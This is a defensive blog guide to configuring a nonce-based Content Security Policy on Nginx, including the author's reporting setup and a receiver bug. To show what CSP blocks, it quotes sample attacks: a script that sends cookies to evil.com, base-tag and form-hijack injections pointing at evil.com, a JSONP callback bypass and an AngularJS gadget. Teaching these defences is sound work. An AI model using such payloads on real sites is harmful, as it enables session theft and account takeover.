Content Security Policy (CSP) with Nginx: The Complete Guide
75.81% of CSP policies use script allowlists an attacker can bypass, according to Google's own research; a nonce-based policy with strict-dynamic is what actually stops injected script and earns an A+.

Cross-Site Scripting (XSS) remains one of the most devastating web vulnerabilities. In the OWASP Top 10 2021 it sits inside A03: Injection as CWE-79 — a category with 33 mapped CWEs, 274,228 recorded occurrences and a maximum incidence rate of 19.09% across the applications tested. According to Google’s security research, even websites with CSP often fail to implement it correctly — Google found bypasses in 94.72% of all distinct policies, and 75.81% rely on script allowlists an attacker can bypass.
Content Security Policy (CSP) is your browser-level defense against these attacks. Think of it as a strict “guest list” for your website—you explicitly tell the browser which resources (scripts, styles, images) are allowed to execute. Anything not on the list gets blocked, even if an attacker manages to inject malicious code.
This guide takes you from zero to a production-ready, A+ rated CSP configuration. You’ll learn not just the “how” but the “why” behind each directive, understand modern bypass techniques and how to prevent them, and discover advanced topics like Trusted Types for DOM-based XSS prevention.
TL;DR — a nonce-based CSP on Nginx
7 key points- Allowlists do not hold. Google found bypasses in 94.72% of all distinct CSP policies, and 75.81% rely specifically on script allowlists an attacker can bypass — because trusted CDNs host JSONP endpoints and outdated libraries that turn an allowed origin into an execution path.
- A nonce is per-request and unguessable, so an injected
<script>carries no valid token and is refused — which is what an allowlist cannot promise. It is not a blanket guarantee:strict-dynamicstill lets an already-trusted script load more, a leaked nonce is a valid nonce, and DOM sinks need Trusted Types (below). - A static site can still use nonces. Nginx generates one per request and
sub_filtersubstitutes the placeholder in the response body, so no application server is involved. That is exactly how this page is served. strict-dynamicpropagates trust from a nonced script to whatever it loads, which is what makes the policy survive bundlers and dynamic imports without reopening the allowlist.object-src 'none'andbase-uri 'none'are not optional — without them a strict policy is still bypassable through plugin content and<base>injection.- Trusted Types (CSP Level 3) closes the DOM sink, the class of XSS that a script-source policy cannot reach on its own.
- The measured result at the time of writing: an A+ on Mozilla Observatory with a score of 140 and all 10 tests passed, reached by running
Content-Security-Policy-Report-Onlywith areport-urifor one to two weeks before enforcing.
How I run this on my own infrastructure
This isn’t a hypothetical — jmrp.io itself is the reference implementation for everything above. Production Nginx sets set $cspNonce $request_id; and rewrites the placeholder with sub_filter NGINX_CSP_NONCE $cspNonce;, so every response carries a fresh nonce tied to that request. The header this site actually serves is nonce-based: default-src 'none', script-src 'self' 'nonce-…' 'strict-dynamic', style-src 'self' 'nonce-…', plus frame-ancestors 'none', base-uri 'none', and report-uri /csp-report. The 'self' in there is a same-origin fallback for browsers that don’t support strict-dynamic; where it is supported the browser ignores 'self' and the nonce is the only thing that grants execution. Zero unsafe-inline, zero third-party domain allowlists to maintain.
Violations don’t disappear into a log nobody reads: I run my own receiver (scripts/csp-reporter.mjs) that surfaces them as they happen, instead of relying on a third party to tell me what’s breaking.
Measured against the current Mozilla Observatory API (v5), this configuration earns an A+ rating: a score of 140, with all 10 tests passing and zero failures. That’s the number as of writing — not the 145 you might see referenced elsewhere on this site from a December 2025 commit. That older total included a 5-point bonus Observatory grants for serving cookies with Secure/HttpOnly/SameSite; those cookies were two placeholder values that did nothing useful, and removing them — so this site’s /privacy/ page can honestly claim no response ever sets Set-Cookie — cost 5 cosmetic points on a policy that already fails nothing. That trade was obviously worth it.
What the violation reports actually contain
That receiver averages around twenty reports a day, and the average is the least useful number in the set: most days bring a handful, and an occasional day brings hundreds. What matters is the composition, and it has been stable for as long as I have been reading them. The overwhelming majority are crawlers. Nearly all of the rest are browser extensions and antivirus software injecting scripts and styles into someone else’s page. Not one has ever turned out to be a defect in this site.
The blocked-eval reports are the clearest case, because they are trivially falsifiable: no JavaScript file this site serves contains eval( or new Function( — after a production build, the only occurrences of that literal anywhere in the output are in the prose of this very post. They arrive in bursts from a single address and a single user-agent, which is one visitor with something injecting code into their browser, not a policy that is too tight.
That is the honest return on a report-uri: it mostly tells you what other people’s software is doing to your pages. It has never once told me my own policy was wrong — which does not make it useless, because it made me read my own receiver closely enough to find the bug below.
The bug this audit found in my own reporter
That composition is only trustworthy because sitting down to check it turned up a parsing bug in the receiver itself.
On 22 August I added a report-to endpoint alongside the legacy report-uri. The two APIs disagree on shape: the legacy one POSTs a single {"csp-report": {…}} object with kebab-case field names, while the Reporting API sends {type, url, body: {…}} envelopes with camelCase ones. A normalizeReports() function exists to map the second onto the first — and it did, but only when the payload arrived as an array.
function normalizeReports(parsed) {
// A bare envelope is not an array, so it escaped on this line
// and reached the filters with every kebab-case field undefined.
if (!Array.isArray(parsed)) return [parsed];
return parsed.map(/* camelCase → kebab-case */);
}A browser that POSTs one bare envelope instead of an array of one fell straight through that first line. The report arrived at the filters with no directive, no blocked URI and no source file — nothing to match on — so nothing was discarded, all of it was logged as unclassifiable, and four of those empty reports made it past the rate limiter and onto my phone as Telegram alerts with a blank violation inside.
Ten reports arrived that way between 22 and 26 August. Decoded by hand they are entirely ordinary: six carry a safari-web-extension://… or safari-extension://… source file, and the other four are inline <style> elements the browser attributes to the document itself. Both categories were already covered by the discard filters; the filters just never got to see the fields. The fix is to accept a bare envelope as well as an array of them.
The shape of the mistake is what makes it worth writing down. A claim that none of these reports is a real defect, resting partly on reports nobody could read, is not a claim at all — and I had no way of knowing which it was until I decoded them by hand.
Why did CSP move from allowlists to nonces?
Content Security Policy has evolved significantly since its introduction. Understanding this evolution helps you appreciate why modern “strict CSP” approaches exist.
- X-Content-Security-Policy
Mozilla introduces the first CSP implementation as an experimental header. Mozilla Security Blog
- CSP Level 1 Milestone
W3C standardizes CSP with basic fetch directives (script-src, style-src, etc.). W3C CSP 1.0 Spec
- CSP Level 2 Milestone
Introduces nonces, hashes, and frame-ancestors. 'unsafe-inline' can be overridden by nonces. W3C CSP Level 2
- Google Research Deprecated
Google publishes 'CSP Is Dead, Long Live CSP' showing bypasses in 94.72% of all distinct policies, 75.81% of them using bypassable script allowlists. Research Paper
- strict-dynamic Standard
New keyword allows trusted scripts to load dependencies without explicit allowlisting. MDN strict-dynamic
- CSP Level 3 (Working Draft) Milestone
Introduces Trusted Types, report-to, and improved WebAssembly support. W3C CSP Level 3
- Trusted Types Adoption Standard
Browser support matures; enterprises begin adopting for DOM-XSS prevention. web.dev Trusted Types
Your First CSP in 5 Minutes
Let’s get a working CSP right now. Open your Nginx configuration and add this single header:
server {
listen 443 ssl;
server_name example.com;
# Your first CSP - allow resources only from your own domain
add_header Content-Security-Policy "default-src 'self'" always;
# ... rest of your config
}Test your configuration and reload Nginx:
That’s it! You now have a working CSP. Open your browser’s DevTools (F12 → Console) to see any violations:
Refused to load the script 'https://cdn.example.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'self'".
What does a CSP allowlist actually allow?
CSP works by defining what’s allowed, not what’s blocked. Think of it as a VIP list at an exclusive event—only resources on the list get in.
Why CSP Matters: The Defense-in-Depth Principle
Without CSP, if an attacker injects <script>stealCookies()</script> into your page (via a comment form, URL parameter, or database), the browser happily executes it—there’s no way to distinguish legitimate scripts from malicious ones.
With CSP, the browser checks every resource against your policy before execution. If inline scripts aren’t explicitly allowed, the attack is neutralized at the browser level.
How XSS Attacks Work (and How CSP Stops Them)
To understand CSP’s value, let’s trace a typical XSS attack:
Step-by-Step Breakdown
Injection: Attacker submits a comment containing:
<script>fetch('https://evil.com?c='+document.cookie)</script>Storage: The website stores this in the database without proper sanitization
Delivery: When another user views the page, the malicious script is served as part of the HTML
Execution: The browser sees a
<script>tag and executes it—no questions askedExfiltration: The script sends session cookies to the attacker’s server
How CSP Breaks the Chain
With CSP (script-src 'self'), step 4 fails. The browser checks: “Is this an inline script? Is 'unsafe-inline' allowed?” Since inline scripts are blocked by default, the attack is neutralized:
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'". Either the
'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce ('nonce-…')
is required to enable inline execution.Attack Vectors CSP Prevents
CSP addresses multiple threat categories. Here’s how different directives create defense-in-depth:
| Threat | Attack Vector | CSP Defense |
|---|---|---|
| Reflected XSS | Scripts injected via URL parameters | script-src without 'unsafe-inline' |
| Stored XSS | Scripts injected via database content | script-src with nonces/hashes |
| DOM-based XSS | eval(), innerHTML abuse | script-src without 'unsafe-eval' + Trusted Types |
| Data exfiltration | XHR/fetch to attacker servers | connect-src 'self' |
| Clickjacking | Site framed by malicious page | frame-ancestors 'none' |
| Mixed content | HTTP resources on HTTPS pages | upgrade-insecure-requests |
| Plugin attacks | Flash, Java, PDF exploits | object-src 'none' |
| Form hijacking | Injected forms to steal credentials | form-action 'self' |
| Base tag injection | Redirecting relative URLs to attacker | base-uri 'none' |
CSP Directives: Learn by Doing
Instead of memorizing tables, let’s learn each directive by adding it to our policy progressively.
1. default-src: The Fallback
This is the catch-all directive. If you don’t specify a directive for a resource type, default-src applies.
default-src <source-list>
Default: * (allow all)
Fallback for all unspecified fetch directives. Set this restrictively and add specific directives as needed.
Best practice: Set default-src 'none' and explicitly allow what you need. This is the “deny by default” approach that security professionals recommend.
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';2. script-src: The Most Critical Directive
This controls which scripts can execute on your page. Get this wrong and your entire CSP is effectively useless.
script-src <source-list>
Default: Falls back to default-src
Specifies valid sources for JavaScript. This is the most important directive for XSS protection.
| Value | Meaning | Security |
|---|---|---|
'self' | Same origin only (scheme + host + port) | Safe |
'none' | Block all scripts entirely | Maximum |
'nonce-{random}' | Allow scripts with matching nonce attribute | Recommended |
'sha256-{hash}' | Allow scripts with matching content hash | Strong |
'strict-dynamic' | Trust propagates to dynamically loaded scripts | Strong |
https://cdn.example.com | Allow scripts from specific domain | Weak (bypassable) |
'unsafe-inline' | Allow all inline scripts | Dangerous |
'unsafe-eval' | Allow eval(), Function(), etc. | Dangerous |
3. style-src: CSS Control
style-src <source-list>
Default: Falls back to default-src
Specifies valid sources for stylesheets. Less critical than script-src but still important for comprehensive protection.
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';4. Resource Directives
# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;data: is often needed for base64-encoded images, SVG icons, or placeholder images.
# Allow fonts from same origin only
font-src 'self';
# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;This controls where JavaScript can send data. Critical for preventing stolen data from being sent to attacker servers.
# Audio and video sources
media-src 'self';# Web Workers and Service Workers
worker-src 'self';
# For sites using blob: URLs for workers
worker-src 'self' blob:;Controls sources for Worker, SharedWorker, and ServiceWorker scripts. If not specified, falls back to script-src.
5. Security Hardening Directives
These are often overlooked but are required for strict CSP:
object-src 'none' — Block Plugins
Plugins like Flash and Java have historically been major vulnerability vectors. Although Flash is deprecated, blocking object-src prevents any plugin-based attacks:
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';base-uri 'none' — Prevent Base Tag Injection
The <base> tag defines a base URL for all relative URLs in a document. If an attacker injects a <base> tag, they can redirect all your relative URLs to their server:
<!-- Attacker injects this -->
<base href="https://evil.com/">
<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->Content-Security-Policy: base-uri 'none'
<!-- Injection attempt blocked! -->
Refused to set the document's base URI to
'https://evil.com/' because it violates CSP.frame-ancestors 'none' — Clickjacking Protection
Prevents your site from being embedded in iframes on other sites:
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';
# Or allow embedding only on your own domain
frame-ancestors 'self';form-action 'self' — Control Form Submissions
Prevents attackers from injecting forms that submit data to their servers:
# Forms can only submit to your own domain
form-action 'self';Building Your CSP Layer by Layer
Rather than writing a perfect CSP in one go (which leads to frustration), let’s build progressively. Each layer adds protection, and you can stop at any level based on your needs.
| Level | Policy Addition | Protection Added |
|---|---|---|
| 0 | No CSP | None—wide open to XSS |
| 1 | default-src 'none' | Blocks everything by default |
| 2 | + script-src 'self' | Only your scripts run |
| 3 | + style-src, img-src, font-src | Controls visual resources |
| 4 | + connect-src 'self'; object-src 'none' | Limits data exfiltration, blocks plugins |
| 5 | + base-uri 'none'; frame-ancestors 'none' | Prevents injection & clickjacking |
| 6 | + form-action 'self'; upgrade-insecure-requests | Full baseline protection |
Level 6: A Solid Baseline CSP
Here’s what Level 6 looks like in practice:
add_header Content-Security-Policy "
default-src 'none';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;The Inline Script Challenge
Most websites have inline scripts like this:
<script>
// Theme detection - runs before page renders
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.classList.add(theme);
</script>With script-src 'self', this is blocked. You have three solutions:
| Solution | Best For | Pros | Cons |
|---|---|---|---|
| External Files | Simple cases | No nonces/hashes needed; cacheable | Extra HTTP request; can’t run before render |
| Hashes | Static scripts | Works for static content; no server changes | Must regenerate on any script change |
| Nonces ⭐ | All cases | Most flexible; Google-recommended | Requires server-side nonce (Nginx trick for static sites) |
Solution 1: Move to External Files
The cleanest approach—move inline code to .js files:
<head>
<script>
initTheme();
</script>
</head><head>
<script src="/js/theme.js"></script>
</head>Solution 2: Use Hashes
Generate a SHA-256 hash of your script content and add it to your CSP. You can compute it right in your browser with the Hash Calculator — paste the exact script content and copy the sha256-… value into your policy.
Limitation: You must regenerate the hash whenever the script content changes—even adding a space will invalidate it.
Solution 3: Use Nonces
Add a random token to both the CSP header and your script tags:
Content-Security-Policy:
script-src 'self' 'nonce-abc123def456';<script nonce="abc123def456">
const theme = localStorage.getItem('theme');
document.documentElement.classList.add(theme);
</script>Critical: The nonce must be:
- Cryptographically random (at least 128 bits / 16 bytes)
- Unique per request (never reuse nonces)
- Encoded (base64 or hex — Nginx’s
$request_iduses hex, which is valid per CSP spec)
Nonces for Static Sites: The Nginx Trick
Here’s the challenge: Static Site Generators (Astro, Next.js, Hugo) build HTML at build time. But nonces must be unique per request. How can static HTML contain dynamic nonces?
The Solution: Placeholder Substitution
Step 1: Use Placeholders in Your Templates
In your templates, use a placeholder that Nginx will replace:
---
// Layout component
---
<html>
<head>
<!-- Nginx will replace this placeholder -->
<script is:inline nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.dataset.theme = theme;
</script>
</head>
<body>
<slot />
</body>
</html>Step 2: Configure Nginx
server {
listen 443 ssl;
server_name example.com;
# ================================================
# STEP 1: Generate unique nonce per request
# ================================================
# $request_id = 32-char hex string (128 bits entropy)
set $cspNonce $request_id;
# ================================================
# STEP 2: Replace placeholder with real nonce
# ================================================
# NOTE: sub_filter requires uncompressed responses.
# For proxied backends, add: proxy_set_header Accept-Encoding "";
# For static files, ensure gzip is disabled or applied after sub_filter.
sub_filter_once off; # Replace ALL occurrences
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# STEP 3: Set CSP header with same nonce
# ================================================
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'nonce-$cspNonce';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;
# ... rest of config
}What the Browser Sees
<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme');
</script>HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
const theme = localStorage.getItem('theme');
</script>Going Strict with 'strict-dynamic'
The 'strict-dynamic' keyword is a game-changer: it allows scripts loaded by trusted scripts to also execute, without needing their own nonces.
How It Works
<!-- This script has a valid nonce -->
<script nonce="abc123">
// This dynamically created script ALSO runs
// because it inherits trust from the parent
const script = document.createElement('script');
script.src = 'https://cdn.example.com/analytics.js';
document.head.appendChild(script);
</script>When to Use 'strict-dynamic'
| Scenario | Use strict-dynamic? | Reason |
|---|---|---|
| SPA with code splitting | Yes | Webpack/Vite load chunks dynamically |
| Analytics (GA, Segment) | Yes | Analytics scripts often load additional scripts |
| Third-party widgets | Yes | Chat widgets, embeds load their own dependencies |
| Simple static site | Optional | If all scripts are in HTML, nonces alone suffice |
| No JavaScript at all | No | Use script-src 'none' instead |
The Strict CSP Formula
Based on Google’s research, a “strict CSP” that actually protects against XSS requires these elements:
- Uses nonces or hashes instead of domain allowlists
- Includes
'strict-dynamic'for dynamic script loading - Sets
object-src 'none'to block plugins - Sets
base-uri 'none'to prevent base tag injection
The Template
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';Why Allowlists Don’t Work
Common bypass vectors include:
- JSONP endpoints on trusted CDNs
- Open redirects on allowed domains
- AngularJS template injection on allowed origins
- User-uploaded content served from allowed domains
Interactive: Build Your CSP
Use the interactive CSP Policy Builder to construct a policy directive by directive and see its security rating in real time — it flags unsafe sources and generates the matching Nginx add_header line for you.
CSP Bypass Techniques and Prevention
Understanding how attackers bypass CSP helps you avoid common pitfalls.
1. JSONP Endpoints
JSONP endpoints execute user-controlled callbacks, making them a classic bypass vector:
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script># Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->2. Form Hijacking
Attackers can inject forms to steal credentials if form-action isn’t set:
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
<!-- Your existing input fields get captured -->
</form>
<!-- Without form-action, the browser allows submission to evil.com! -->Prevention:
form-action 'self';3. Base Tag Injection
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">
<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script> <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png"> <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a> <!-- Links to https://evil.com/login -->Prevention:
base-uri 'none';4. Script Gadgets in Allowed Libraries
Some major libraries contain patterns that can be exploited for XSS when that library is allowed by CSP:
According to research by Sebastian Lekies et al., common libraries contain exploitable patterns:
| Library | Gadget Type | Attack Vector | Risk |
|---|---|---|---|
| AngularJS (1.x) | Template injection | ng-app + {{constructor.constructor('alert(1)')()}} | Critical |
| jQuery (<3.0) | Selector-based XSS | $(location.hash) with user input | High |
| Require.js | Dynamic imports | Attacker-controlled module paths | Medium |
| Dojo Toolkit | Module loading | require() with user input | Medium |
| Google Closure | Template system | Unsafe template rendering | Medium |
5. Missing object-src
Without object-src 'none', attackers can use plugins to execute code:
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..."
type="application/x-shockwave-flash">
</object>
<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">Prevention:
object-src 'none';Trusted Types: The Next Evolution
While traditional CSP prevents injection of <script> tags, it doesn’t protect against DOM-based XSS where JavaScript directly writes to dangerous sinks:
// These are dangerous DOM sinks
element.innerHTML = userInput; // XSS if userInput contains HTML
location.href = userInput; // Open redirect/XSS
document.write(userInput); // XSS
eval(userInput); // Remote code executionTrusted Types forces developers to sanitize data before passing it to these sinks.
How Trusted Types Work
Enabling Trusted Types
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'nonce-$cspNonce';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
# Trusted Types enforcement
require-trusted-types-for 'script';
trusted-types default;
" always;Creating a Trusted Types Policy
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
const sanitizerPolicy = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// Use DOMPurify or similar sanitizer
return DOMPurify.sanitize(input);
},
createScriptURL: (input) => {
// Only allow same-origin URLs
const url = new URL(input, window.location.origin);
if (url.origin !== window.location.origin) {
throw new Error('Cross-origin scripts not allowed');
}
return url.href;
}
});
}
// Now innerHTML requires TrustedHTML
element.innerHTML = userInput; // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput); // Works!Advanced: Per-Endpoint CSP
Different parts of your site may need different policies:
- Admin panels: Stricter CSP
- API endpoints: No CSP needed (JSON isn’t executed)
- Static assets: Relaxed for social media previews
- User-generated content pages: Extra restrictions
Implementation
server {
listen 443 ssl;
server_name example.com;
# Default: strict CSP for HTML pages
location / {
try_files $uri $uri/ =404;
include /etc/nginx/snippets/security-headers-strict.conf;
}
# API: no CSP needed for JSON
location /api/ {
proxy_pass http://backend;
# No CSP header - JSON isn't executed by browsers
}
# Assets: relaxed for social media crawlers
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
include /etc/nginx/snippets/security-headers-assets.conf;
}
}# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
" always;
# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
default-src 'none';
img-src 'self';
font-src 'self';
" always;
# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;Migration: Report-Only to Enforcement
Never deploy strict CSP directly to production. Use a phased approach:
Deploy in report-only mode (1-2 weeks)
Use
Content-Security-Policy-Report-Onlyto log violations without blocking anything. Monitor your logs to understand what would break.Analyze and fix violations
Review reports and remediate issues:
- Inline event handlers →
addEventListener() eval()calls →JSON.parse()or refactor- Missing nonces on inline scripts
- Third-party scripts that need
strict-dynamic
- Inline event handlers →
Enable enforcement gradually
Switch from
Report-OnlytoContent-Security-Policy. Keep a report-only header for testing future stricter policies.
Phase 1: Report-Only
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'nonce-$cspNonce';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-report;
" always;Phase 2: Fix Common Issues
- Inline event handlers → Convert
onclick="..."toaddEventListener() eval()usage → Replace withJSON.parse()or refactor- Missing nonces → Add
nonce="CSP_NONCE_NGINX"to inline scripts - Third-party scripts → Verify
'strict-dynamic'covers them - Inline styles in JS → Use CSS classes or CSS custom properties
Phase 3: Enforce
# Now blocking violations
add_header Content-Security-Policy "..." always;
# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;Setting Up CSP Reporting
CSP’s built-in reporting tells you when violations occur—essential for debugging and detecting attacks.
Use instead: report-to
Option 1: Simple Nginx Logging
# Reporting endpoint
location /csp-report {
access_log /var/log/nginx/csp-report.log;
return 204;
}# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
report-uri /csp-report;
report-to csp-endpoint;
" always;Option 2: Third-Party Services
Services like Report URI provide dashboards and analysis:
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;Violation Report Format
Browsers send JSON reports like this:
{
"csp-report": {
"document-uri": "https://example.com/page",
"blocked-uri": "https://evil.com/script.js",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
"disposition": "enforce",
"status-code": 200,
"script-sample": "",
"line-number": 42,
"column-number": 15,
"source-file": "https://example.com/page"
}
}Refactoring Code for CSP
Some common patterns are incompatible with strict CSP. Here’s how to fix them:
Inline Event Handlers → addEventListener
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form><button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>
<script nonce="CSP_NONCE_NGINX">
document.getElementById('submitBtn')
.addEventListener('click', submitForm);
document.getElementById('actionLink')
.addEventListener('click', (e) => {
e.preventDefault();
doSomething();
});
document.getElementById('myForm')
.addEventListener('submit', validate);
</script>eval() → JSON.parse()
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;Inline Styles in JS → CSS Custom Properties
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');.highlighted {
background: var(--user-color, #fff);
}Testing and Validation
Browser DevTools
Your best friend for CSP debugging. Open F12 → Console to see violations in real-time:
Refused to execute inline script because it violates the following Content
Security Policy directive: "script-src 'nonce-abc123' 'strict-dynamic'".
Either the 'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce
('nonce-…') is required to enable inline execution.Online Tools
| Tool | Purpose |
|---|---|
| Mozilla Observatory | Comprehensive security header grading (A+ possible) |
| Google CSP Evaluator | Finds logical bypasses in your policy (highly recommended) |
| SecurityHeaders.com | Quick header analysis and scoring |
| CSP Hash Generator | Generate hashes for inline scripts |
Common Pitfalls
1. Using 'unsafe-inline' for Scripts
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';# Actual protection
script-src 'self' 'nonce-$cspNonce';2. Overly Permissive Sources
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;This allows any HTTPS script to execute, completely defeating CSP’s purpose.
3. Forgetting Required Directives
# Missing critical directives!
script-src 'nonce-$cspNonce';# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';4. Missing always in Nginx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";# CSP on ALL responses
add_header Content-Security-Policy "..." always;Without always, CSP headers won’t be sent on error pages (404, 500), leaving those pages vulnerable.
5. add_header Inheritance Gotcha
location / {
add_header Content-Security-Policy "..." always;
add_header X-Frame-Options "DENY" always;
}
location /assets/ {
# WARNING: This REPLACES parent headers, not adds to them!
add_header Cache-Control "public, immutable" always;
# CSP and X-Frame-Options are now MISSING here!
}Solution: Use include snippets to share headers across locations.
Complete Production Example
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name example.com;
root /var/www/example.com;
index index.html;
# ================================================
# CSP Nonce Setup
# ================================================
set $cspNonce $request_id;
sub_filter_once off;
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# Build CSP Header
# ================================================
set $csp "default-src 'none'; ";
set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
set $csp "${csp}style-src 'self' 'nonce-${cspNonce}'; ";
set $csp "${csp}img-src 'self' data:; ";
set $csp "${csp}font-src 'self'; ";
set $csp "${csp}connect-src 'self'; ";
set $csp "${csp}worker-src 'self'; ";
set $csp "${csp}object-src 'none'; ";
set $csp "${csp}base-uri 'none'; ";
set $csp "${csp}frame-ancestors 'none'; ";
set $csp "${csp}form-action 'self'; ";
set $csp "${csp}upgrade-insecure-requests; ";
set $csp "${csp}report-uri /csp-report; ";
set $csp "${csp}report-to csp-endpoint";
# ================================================
# Security Headers
# ================================================
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
add_header Content-Security-Policy $csp always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# Note: require-corp is strict - external resources (fonts, CDNs) must provide
# CORP/CORS headers. Use "credentialless" for broader compatibility.
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# ================================================
# Routes
# ================================================
location / {
try_files $uri $uri/ =404;
}
# CSP Violation Reporting Endpoint
location /csp-report {
access_log /var/log/nginx/csp-report.log;
return 204;
}
# Static assets with relaxed CORP for social media
# Note: add_header in location blocks overrides parent-level headers,
# so we must re-include essential security headers here
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
# Re-include essential security headers
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
}Your CSP Journey: Summary
- Start simple — Deploy
default-src 'self'in report-only mode - Add directives progressively — Scripts, styles, images, etc.
- Handle inline scripts — Move to files, use hashes, or implement nonces
- For static sites — Use Nginx
sub_filterfor nonce injection - Go strict — Add
'strict-dynamic',object-src 'none',base-uri 'none' - Set up reporting — Monitor violations with
report-uri/report-to - Enforce gradually — Switch from report-only to enforcement after testing
- Maintain and iterate — Keep monitoring, update as your app evolves
Frequently asked questions
What is the simplest CSP to start with on Nginx?
Add the single header `add_header Content-Security-Policy "default-src 'self'" always;` to your server block. This tells the browser to only allow resources from your exact origin (same scheme, host, and port), immediately blocking external scripts, inline scripts, and inline styles.
